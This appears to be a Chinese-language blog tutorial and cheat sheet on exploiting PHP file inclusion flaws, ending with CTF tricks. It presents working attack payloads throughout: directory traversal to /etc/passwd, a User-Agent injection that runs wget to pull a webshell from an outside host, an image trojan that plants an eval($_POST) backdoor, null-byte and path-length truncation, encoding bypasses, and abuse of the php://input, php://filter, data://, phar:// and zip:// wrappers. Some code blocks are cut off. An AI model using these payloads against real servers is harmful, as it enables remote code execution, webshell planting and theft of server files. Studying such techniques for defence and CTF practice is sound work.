原理
文件包含漏洞产生的原因是在通过php函数引入文件时,由于传入的文件名没有经过合理的校验,从而引发了文件的泄漏或者恶意代码的注入
php引发文件包含漏洞的四个常见函数:
1 | include() 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。 |
使用这些函数时,php内核并不在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程url、也都将作为PHP代码执行。
利用条件
1 | 1、include等函数通过动态执行变量的方式引入需要包含的文件; |
文件包含分类
1 | 1、本地文件包含LFI(Local File Include) |
一、本地包含
包含同目录下的文件
1 | ?file=test.txt |
目录遍历
1 | ?file=./../../test.txt |
包含日志
1 | 利用条件: 需要知道服务器日志的存储路径,且日志文件可读。 |
常用日志默认路径
apache+Linux日志默认路径
1 | /etc/httpd/logs/access_log |
nginx日志文件
1 | nginx 日志文件在用户安装目录的logs目录下 |
包含session
1 | 利用条件:session文件路径已知,且其中内容部分可控。 |
包含/proc/self/environ文件
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
姿势:
1 | proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。 |
?file=../../../../../../../proc/self/environ
选择User-Agent 写代码如下:
1 | <?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?> |
然后提交请求。
包含临时文件
1 | php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。 |
包含上传文件(图片)
很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。
图片马的制作方式如下,在cmd控制台下输入:
1 | 进入1.jph和2.php的文件目录后,执行: |
假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:
1 | "shell.php","w"),"<?php eval($_POST['pass']);?>") fputs(fopen( |
然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg
,包含这张图片,将会在index.php
所在的目录下生成shell.php
有防御的本地文件包含
文件名后缀固定:在包含的文件名后加固定后缀
文件名过滤 :使用switch array限制可以包含的文件名
审计中可见这样的包含模版文件:
1 |
|
这段代码指定了前缀和后缀:这样就很“难”直接去包含前面提到的种种文件。
%00截断
能利用00截断的场景现在应该很少了
PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。
?file=../../../../../../../../../etc/passwd%00
文件系统获取含有换行符的文件名,会截断为../../../ect/passwd
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
%00截断目录遍历:
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)
路径长度截断:
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256)
利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。
我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
而利用”./“的方式即可构造出超长目录字符串:
点号截断:
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小于5.2.8可以成功,只适用windows,点号需要长于256)
编码绕过
服务器端常常会对于../
等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。
利用url编码
../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
二次编码
../
%252e%252e%252f
..\
%252e%252e%255c
~
绕过针对目录限制
?file=~/../phpinfo
这样的代码。其中~
就是尝试是否可以直接跳转到当前硬盘目录。在某些环境下,可达到遍历当前文件目录
二、远程文件包含
1 | ?file=[http|https|ftp]://www.bbb.com/shell.txt(可以有三种,http、https、ftp) |
有防御的远程文件包含
1 |
|
攻击者可以构造类似如下的攻击URL
1 | http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php? |
产生的原理:
1 | /?path=http://localhost/test/solution.php? |
PHP中的封装协议(伪协议)
https://www.php.net/manual/zh/wrappers.php
1 | file:///var/www/html 访问本地文件系统 |
利用php流input:
利用条件:
1 | allow_url_include = On。 |
构造:
1 | index.php |
结果将在index.php所在文件下的文件shell.php内增加<?php phpinfo();?>一句话
利用php流filter:
1 | ?file=php://filter/convert.base64-encode/resource=index.php |
通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
其他姿势:
1 | index.php?file=php://filter/convert.base64-encode/resource=index.php |
效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。
利用data URIs:
利用条件:
1 | 1、php版本大于等于php5.2 |
利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
1 | ?file=data:text/plain, phpinfo(); |
(需要allow_url_include=On)
glob://伪协议
1 | glob:// 查找匹配的文件路径模式 |
phar://
利用条件:
1 | php版本大于等于php5.3.0 |
理解:
如果服务器只允许包含.php文件,后台代码为:include(xxx + '.php');
,而这个.php文件不可控。但是我们可以上传一个.txt文件,那么我们可以通过phar伪协议来包含这个文件,而且phar协议不以后缀名判断文件类型,所以我们将我们的test.php木马压缩以后改为a.txt文件上传到服务器上,之后可以构造payload:phar://a.txt/test
,服务器拼接以后就成为了:phar://a.txt/test.php
,即可成功包含
姿势:
假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>
,打包成zip压缩包
指定绝对路径
1 | index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt |
或者使用相对路径(这里test.zip就在当前目录下)
1 | index.php?file=phar://test.zip/phpinfo.txt |
zip://
利用条件:
1 | php版本大于等于php5.3.0 |
1 |
|
截取过来的后面4格字符,判断是不是jpg,如果是jpg才进行包含
但使用zip协议,需要指定绝对路径,同时将#
编码为%23
,之后填上压缩包内的文件。
然后我们构造zip://php.zip#php.jpg
1 | index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23php.jpg |
注意事项:
1 | 1、若是使用相对路径,则会包含失败。 |
CTF中的文件包含套路
php伪协议读取源码
点击login,发现链接变为:
1 | http://54.222.188.152:1/index.php |
推测文件包含 访问:
1 | http://54.222.188.152:1/index.php |
php://input
任意代码执行:
1 | index.php |
文件内容绕过:
1 | -------文件源码--------- |
待更新。。。